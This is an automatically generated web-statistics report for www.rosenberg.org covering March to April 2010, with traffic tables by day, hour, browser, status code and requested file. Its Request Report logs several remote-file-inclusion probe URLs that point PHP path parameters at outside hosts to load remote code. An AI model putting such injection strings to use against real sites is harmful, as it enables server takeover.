The General Summary provides a quick overview of the general statistics for the entire web site during the report time frame.
| General Summary | ||
|---|---|---|
| 1. | Host name | benr |
| 2. | Program start time | Apr 30, 2010 18:04 |
| 3. | Time of first request | Mar 30, 2010 00:10 |
| 4. | Time of last request | Apr 30, 2010 17:56 |
| 5. | Time last 7 days lasts until | Apr 30, 2010 18:04 |
| 6. | Successful server requests | 1,495 Requests |
| 7. | Successful requests in last 7 days | 270 Requests |
| 8. | Successful requests for pages | 935 Requests for pages |
| 9. | Successful requests for pages in last 7 days | 172 Requests for pages |
| 10. | Failed requests | 961 Requests |
| 11. | Failed requests in last 7 days | 168 Requests |
| 12. | Distinct files requested | 223 Files |
| 13. | Distinct files requested in last 7 days | 87 Files |
| 14. | Distinct hosts served | 323 Hosts |
| 15. | Distinct hosts served in last 7 days | 84 Hosts |
| 16. | Corrupt lines in the logfile | 5 Lines |
| 17. | Unwanted lines in the logfile | 7,927 Lines |
| 18. | Total data transferred | 12.051 MB |
| 19. | Total data transferred in last 7 days | 2.627 MB |
The Daily Report identifies the activity for each day within the reporting period. Remember that one page hit can result in several server requests as the images for each page are loaded.

| Day | Number of requests | Number of page requests | Number of bytes transferred | |
|---|---|---|---|---|
| 1. | March 30, 2010 | 45 | 32 | 173.454 KB |
| 2. | March 31, 2010 | 36 | 25 | 334.267 KB |
| 3. | April 1, 2010 | 22 | 14 | 135.731 KB |
| 4. | April 2, 2010 | 46 | 29 | 509.392 KB |
| 5. | April 3, 2010 | 51 | 24 | 312.778 KB |
| 6. | April 4, 2010 | 61 | 47 | 445.689 KB |
| 7. | April 5, 2010 | 35 | 16 | 293.018 KB |
| 8. | April 6, 2010 | 38 | 24 | 140.500 KB |
| 9. | April 7, 2010 | 40 | 20 | 170.923 KB |
| 10. | April 8, 2010 | 63 | 34 | 602.171 KB |
| 11. | April 9, 2010 | 29 | 17 | 391.100 KB |
| 12. | April 10, 2010 | 44 | 17 | 970.961 KB |
| 13. | April 11, 2010 | 41 | 16 | 317.216 KB |
| 14. | April 12, 2010 | 64 | 30 | 560.621 KB |
| 15. | April 13, 2010 | 36 | 24 | 522.666 KB |
| 16. | April 14, 2010 | 33 | 22 | 178.160 KB |
| 17. | April 15, 2010 | 46 | 25 | 310.392 KB |
| 18. | April 16, 2010 | 29 | 18 | 69.491 KB |
| 19. | April 17, 2010 | 36 | 20 | 371.983 KB |
| 20. | April 18, 2010 | 44 | 28 | 414.863 KB |
| 21. | April 19, 2010 | 28 | 16 | 153.588 KB |
| 22. | April 20, 2010 | 36 | 26 | 326.941 KB |
| 23. | April 21, 2010 | 201 | 174 | 786.484 KB |
| 24. | April 22, 2010 | 94 | 47 | 933.158 KB |
| 25. | April 23, 2010 | 30 | 20 | 232.758 KB |
| 26. | April 24, 2010 | 35 | 10 | 573.299 KB |
| 27. | April 25, 2010 | 39 | 27 | 383.413 KB |
| 28. | April 26, 2010 | 32 | 20 | 151.056 KB |
| 29. | April 27, 2010 | 60 | 40 | 959.079 KB |
| 30. | April 28, 2010 | 33 | 26 | 302.081 KB |
| 31. | April 29, 2010 | 36 | 24 | 227.873 KB |
| 32. | April 30, 2010 | 32 | 23 | 84.897 KB |
Most active day April 21, 2010 : 174 pages sent. 201 requests handled. 805,360.00 served.
Daily average: 29 pages sent. 46 requests handled. 385.625 KB served.
The Daily Summary identifies the level of activity as a total for each day of the week. This summary also compares the level of activity on weekdays and weekends as a total for the report time frame.

| Day of the week | Number of requests | Number of page requests | |
|---|---|---|---|
| 1. | Sunday | 185 | 118 |
| 2. | Monday | 159 | 82 |
| 3. | Tuesday | 215 | 146 |
| 4. | Wednesday | 343 | 267 |
| 5. | Thursday | 261 | 144 |
| 6. | Friday | 166 | 107 |
| 7. | Saturday | 166 | 71 |
| Total Weekdays | 1,144 | 746 | |
| Total Weekend | 351 | 189 | |
The Hourly Summary identifies the level of activity broken down by each hour. Remember that one page hit can result in several server requests as the images for each page are loaded. This summary also compares the level of activity during working hours and after hours as a total for the report time frame.

| Hour | Number of requests | Number of page requests | |
|---|---|---|---|
| 1. | 00:00 - 00:59 | 72 | 42 |
| 2. | 01:00 - 01:59 | 54 | 37 |
| 3. | 02:00 - 02:59 | 66 | 25 |
| 4. | 03:00 - 03:59 | 50 | 33 |
| 5. | 04:00 - 04:59 | 43 | 26 |
| 6. | 05:00 - 05:59 | 35 | 21 |
| 7. | 06:00 - 06:59 | 62 | 31 |
| 8. | 07:00 - 07:59 | 53 | 33 |
| 9. | 08:00 - 08:59 | 117 | 80 |
| 10. | 09:00 - 09:59 | 46 | 31 |
| 11. | 10:00 - 10:59 | 41 | 23 |
| 12. | 11:00 - 11:59 | 87 | 62 |
| 13. | 12:00 - 12:59 | 66 | 36 |
| 14. | 13:00 - 13:59 | 51 | 34 |
| 15. | 14:00 - 14:59 | 38 | 18 |
| 16. | 15:00 - 15:59 | 210 | 176 |
| 17. | 16:00 - 16:59 | 91 | 38 |
| 18. | 17:00 - 17:59 | 72 | 38 |
| 19. | 18:00 - 18:59 | 45 | 34 |
| 20. | 19:00 - 19:59 | 41 | 20 |
| 21. | 20:00 - 20:59 | 32 | 26 |
| 22. | 21:00 - 21:59 | 35 | 23 |
| 23. | 22:00 - 22:59 | 58 | 26 |
| 24. | 23:00 - 23:59 | 30 | 22 |
| Work Hours (8:00am-4:59pm) | 747 | 498 | |
| After Hours (5:00pm-7:59am) | 748 | 437 | |
The Domain Report identifies the top origins of visitors to this site. This is determined by the suffix of their domain name. Use this information carefully as this is based on where their domain name is registered and may not always be an accurate identifier of the actual geographic location of this visitor. For example, while most .com domain names are from the United States, there are a growing number of .com domain names that exist outside the United States.
This report shows all results. This report is sorted by amount of bytes transferred.
| Domain Name | Number of requests | Percentage of the bytes | |
|---|---|---|---|
| 1. | [unresolved numerical addresses] | 1,495 | 100.00% |
The Organization Report attempts to list the organizations (companies, institutions, ISPs etc.) whose computers accessed your site. In general this is similar to the Domain report but shows the servers one level up in the name-tree. This report can also show a hierarchy of servers within an organization. For example aol.com has many proxy-nnn.aol.com servers.
This report shows the first 20 results by number of requests. This report is sorted by number of requests.
| Organization | Number of requests | Percentage of the bytes | |
|---|---|---|---|
| 1. | 207.46 | 361 | 42.88% |
| 2. | 93 | 234 | 3.53% |
| 3. | 66.249 | 228 | 10.96% |
| 4. | 79 | 150 | 0.69% |
| 5. | 65.55 | 57 | 1.74% |
| 6. | 38 | 53 | 7.15% |
| 7. | 208.80 | 45 | 0.30% |
| 8. | 67.195 | 35 | 3.39% |
| 9. | 76 | 32 | 1.58% |
| 10. | 91 | 28 | 11.52% |
| 11. | 75 | 26 | 0.93% |
| 12. | 208.115 | 13 | 0.14% |
| 13. | 69 | 12 | 0.11% |
| 14. | 74 | 11 | 0.11% |
| 15. | 195.128 | 10 | 0.09% |
| 16. | 67.16 | 10 | 0.07% |
| 17. | 77 | 10 | 0.02% |
| 18. | 119 | 9 | 0.58% |
| 19. | 174.129 | 8 | 0.08% |
| 20. | 159.91 | 8 | 0.38% |
| [not listed: 62] | 155 | 13.75% | |
The Referring URL Report identifies specific pages on the Internet that link to pages on this site. This can be helpful in knowing where traffic is coming from.
This report shows the first 30 results by number of requests. This report is sorted by number of requests.
The Referring Site Report identifies sites on the Internet that have links to pages on this site. This can be helpful in knowing where traffic is coming from.
This report shows the first 30 results by number of requests. This report is sorted by number of requests.
The Search Query Report shows the queries that your sites visitors have sent to search engines to find your site. This only lists queries for search engines that have been defined and that provide this information in their referrer data. This report is useful in determining what keyword and which search engines refer visitors to your site.
This report shows the first 30 results by number of requests. This report is sorted by number of requests.
| Search Query | Number of requests | |
|---|---|---|
| 1. | what requests and page requests mean report magic | 1 |
| 2. | referring url report report shows results | 1 |
| 3. | 555.898 mb | 1 |
The Search Word Report is a summary of words that your visitors have asked search engines for that brought them to your site. You can use this to get a better idea of what your visitors are looking for when they come to your site.
This report shows the first 30 results by number of requests. This report is sorted by number of requests.
| Search Word | Number of requests | |
|---|---|---|
| 1. | report | 3 |
| 2. | requests | 2 |
| 3. | mean | 1 |
| 4. | magic | 1 |
| 5. | results | 1 |
| 6. | url | 1 |
| 7. | and | 1 |
| 8. | referring | 1 |
| 9. | what | 1 |
| 10. | page | 1 |
| 11. | 555.898 | 1 |
| 12. | mb | 1 |
| 13. | shows | 1 |
The Browser Summary identifies the most popular web browsers used to visit
this site.
Browsers are broken down by recognized categories such as
Netscape Navigator/Communicator, Microsoft Internet Explorer, WebTV, Opera
and the like. Within each category is also a subgroup by version number
such as 'MSIE 5.0' or 'Netscape 4.5'.
This report shows the first 20 results by requests for pages. This report is sorted by number of requests for pages.

| Browser Type | Number of requests | Number of page requests | |
|---|---|---|---|
| 1. | msnbot | 382 | 281 |
| msnbot/2 | 382 | 281 | |
| 2. | Yandex | 229 | 150 |
| Yandex/1 | 229 | 150 | |
| 3. | MSIE | 257 | 133 |
| MSIE/7 | 144 | 75 | |
| MSIE/6 | 75 | 44 | |
| MSIE/8 | 29 | 11 | |
| MSIE/5 | 6 | 3 | |
| 4. | Netscape (compatible) | 163 | 117 |
| 5. | Mozilla | 76 | 61 |
| Mozilla/1 | 43 | 29 | |
| 6. | Safari | 25 | 11 |
| Safari/533 | 11 | 5 | |
| Safari/532 | 6 | 2 | |
| Safari/528 | 2 | 2 | |
| Safari/525 | 3 | 1 | |
| Safari/531 | 3 | 1 | |
| 7. | Gigabot | 10 | 10 |
| Gigabot/3 | 10 | 10 | |
| 8. | ResearchProject | 6 | 6 |
| ResearchProject/1 | 6 | 6 | |
| 9. | msnbot-media | 28 | 3 |
| msnbot-media/1 | 28 | 3 | |
| 10. | Opera | 10 | 3 |
| Opera/9 | 4 | 2 | |
| Opera/7 | 4 | 1 | |
| 11. | Baiduspider+(+http: | 3 | 2 |
| Baiduspider+(+http://www | 3 | 2 | |
| 12. | Mozzila | 1 | 1 |
| Mozzila/4 | 1 | 1 | |
| 13. | Jakarta Commons-HttpClient | 1 | 1 |
| Jakarta Commons-HttpClient/3 | 1 | 1 | |
| 14. | Mnogosearch-3.1.21 | 1 | 1 |
| 15. | IECheck | 1 | 1 |
| 16. | Netscape | 3 | 1 |
| Netscape/3 | 1 | 1 | |
| [not listed: 3] | 146 | 0 | |
The Operating System Report lists the operating system your visitors are running for visitors whose browser types you know. Not all browsers provide this information and not all visitors provide browser information, but what is provided, is summarized here.
This report shows all results. This report is sorted by number of requests for pages.
| Operating System | Number of requests | Number of page requests | |
|---|---|---|---|
| 1. | OS unknown | 819 | 568 |
| 2. | Windows | 311 | 157 |
| Windows XP | 159 | 85 | |
| Unknown Windows | 128 | 63 | |
| Windows 2000 | 13 | 6 | |
| Windows NT | 6 | 2 | |
| Windows 98 | 4 | 1 | |
| Windows 95 | 1 | 0 | |
| 3. | Unix | 36 | 29 |
| Linux | 36 | 29 | |
| 4. | Known robots | 171 | 25 |
| 5. | Macintosh | 5 | 3 |
The Virtual Host report provides summary information about the virtual hosts (or sub-host or sub-domain) that are hosted within your site. This is especially useful as an ISP to monitor the usage and traffic on each of the domains you host.
This report shows the first 20 results by bytes of traffic. This report is sorted by amount of bytes transferred.

| Virtual Host Name | Number of requests | Number of page requests | Number of bytes transferred | |
|---|---|---|---|---|
| 1. | www.rosenberg.org | 1,495 | 935 | 12.051 MB |
The Status Code Report lists the HTML headers returned to the client from the server. For example a status '200 OK' means that the requested page or image was found and the server will now send it. A '404 Document Not Found' means that the requested page or image cannot be found on this server at the specified location. This can occur if the client mistyped a URL or clicks on a broken link. A complete list of the HTTP status codes can be found at HTTP Working Group.
This report shows all results. This report is sorted alphabetically.
| Status Code | Number of requests | |
|---|---|---|
| 1. | 200 OK | 1,185 |
| 2. | 206 Partial content | 6 |
| 3. | 304 Not modified since last retrieval | 304 |
| 4. | 404 Document not found | 961 |
The File Size Report categorizes the size of the file being requested. This can be useful in optimizing site performance. (Remember that on a 28.8Kps modem, it will take on average of 40 seconds to download 100Kb of data.)

| File Size | Number of requests | Percentage of the bytes | |
|---|---|---|---|
| 1. | 0 | 314 | 0.00% |
| 2. | 1B- 10B | 0 | 0.00% |
| 3. | 11B- 100B | 0 | 0.00% |
| 4. | 101B- 1kB | 692 | 3.72% |
| 5. | 1kB- 10kB | 305 | 9.63% |
| 6. | 10kB-100kB | 184 | 86.65% |
The File Type Report identifies the type of information that is requested from the web site. GIF and JPG are the two types of graphic (image) files that are most commonly supported by web browsers. HTML (sometimes abbreviated HTM), ASP, and [directories] all represent actual pages. The number of image requests will almost always outnumber page requests as one page may contain several images.
This report shows results with at least 0.100000 percent of the total bytes. This report is sorted by amount of bytes transferred.

| File Type | Number of requests | Percentage of the bytes | |
|---|---|---|---|
| 1. | [no extension] | 222 | 87.09% |
| 2. | [directories] | 818 | 7.46% |
| 3. | .png [PNG graphics] | 198 | 3.48% |
| 4. | .html [Hypertext Markup Language] | 117 | 1.87% |
| [not listed: 1] | 140 | 0.09% | |
The Directory Report analyzes accesses to this web site's directories. This information can be useful in determining the most requested areas.
This report shows results with at least 0.010000 percent of the total bytes. This report is sorted by amount of bytes transferred.

| Directory Name | Number of requests | Number of page requests | Number of bytes transferred | |
|---|---|---|---|---|
| 1. | http:// | 1,495 | 935 | 12.051 MB |
| http://www.rosenberg.org/ | 1,489 | 934 | 11.723 MB | |
| http://www.rosenberg.org/webstats/ | 1,010 | 595 | 11.435 MB | |
| http://www.rosenberg.org/icons/ | 140 | 0 | 11.416 KB | |
| http://www.rosenberg.orghttp:// | 6 | 1 | 336.067 KB | |
| http://www.rosenberg.orghttp://rosenberg.org/ | 5 | 0 | 335.234 KB | |
The Request Report identifies the most popular web pages on the site and how often they were accessed.
This report shows results with at least 20 requests. This report is sorted by number of requests.
| File Name | Number of requests | Percentage of the bytes | Date and time of last access | |
|---|---|---|---|---|
| 1. | http://www.rosenberg.org/ | 339 | 24.54% | Apr. 30, 2010 17:56 |
| http://www.rosenberg.org/?C=S;O=A | 31 | 2.25% | Apr. 30, 2010 17:02 | |
| http://www.rosenberg.org/?C=D;O=A | 29 | 2.10% | Apr. 30, 2010 14:12 | |
| http://www.rosenberg.org/?C=N;O=D | 25 | 1.81% | Apr. 30, 2010 17:56 | |
| http://www.rosenberg.org/?C=N;O=A | 17 | 1.23% | Apr. 29, 2010 16:44 | |
| http://www.rosenberg.org/?C=M%3BO=A | 12 | 0.87% | Apr. 27, 2010 15:12 | |
| http://www.rosenberg.org/?C=M;O=A | 12 | 0.87% | Apr. 28, 2010 20:22 | |
| http://www.rosenberg.org/?C=S;O=D | 9 | 0.65% | Apr. 25, 2010 08:11 | |
| http://www.rosenberg.org/?C=D;O=D | 7 | 0.51% | Apr. 29, 2010 18:36 | |
| http://www.rosenberg.org/?option=com_content&task=§ionid=&id=&mosConfig_absolute_path=http://64.59.108.190/sex-links/m.gif?/ | 4 | 0.29% | Apr. 29, 2010 16:19 | |
| http://www.rosenberg.org/?C=M;O=D | 3 | 0.22% | Apr. 8, 2010 08:46 | |
| 2. | http://www.rosenberg.org/webstats/200910/ | 165 | 7.73% | Apr. 29, 2010 00:14 |
| 3. | http://www.rosenberg.org/webstats/ | 124 | 41.61% | Apr. 30, 2010 09:07 |
| http://www.rosenberg.org/webstats/?C=D;O=A | 13 | 4.41% | Apr. 28, 2010 22:26 | |
| http://www.rosenberg.org/webstats/?C=N;O=A | 12 | 4.06% | Apr. 30, 2010 04:21 | |
| http://www.rosenberg.org/webstats/?C=M;O=A | 11 | 3.72% | Apr. 29, 2010 12:29 | |
| http://www.rosenberg.org/webstats/?C=N;O=D | 11 | 3.72% | Apr. 27, 2010 11:14 | |
| http://www.rosenberg.org/webstats/?C=S;O=A | 10 | 3.39% | Apr. 29, 2010 18:46 | |
| http://www.rosenberg.org/webstats/?C=M;O=D | 5 | 1.70% | Apr. 25, 2010 09:54 | |
| http://www.rosenberg.org/webstats/?C=S;O=D | 4 | 1.36% | Apr. 29, 2010 05:21 | |
| http://www.rosenberg.org/webstats/?C=D;O=D | 3 | 1.02% | Apr. 26, 2010 10:15 | |
| http://www.rosenberg.org/webstats/?_SERVER[DOCUMENT_ROOT]=http://www.babywaves.com//a/pid?? | 2 | 0.68% | Apr. 21, 2010 04:55 | |
| http://www.rosenberg.org/webstats/?_SERVER[DOCUMENT_ROOT]=http://snusoft.ru//administrator/components/com_remository/id.txt?? | 1 | 0.34% | Apr. 22, 2010 12:51 | |
| [not listed: 32] | 307 | 26.12% | Apr. 30, 2010 16:01 | |
This report was generated on April 30, 2010 18:04.
Report time frame March 30, 2010 00:10 to April 30, 2010 17:56.
| Web statistics report produced by: | |
Analog 5.32 | Report Magic 2.21 |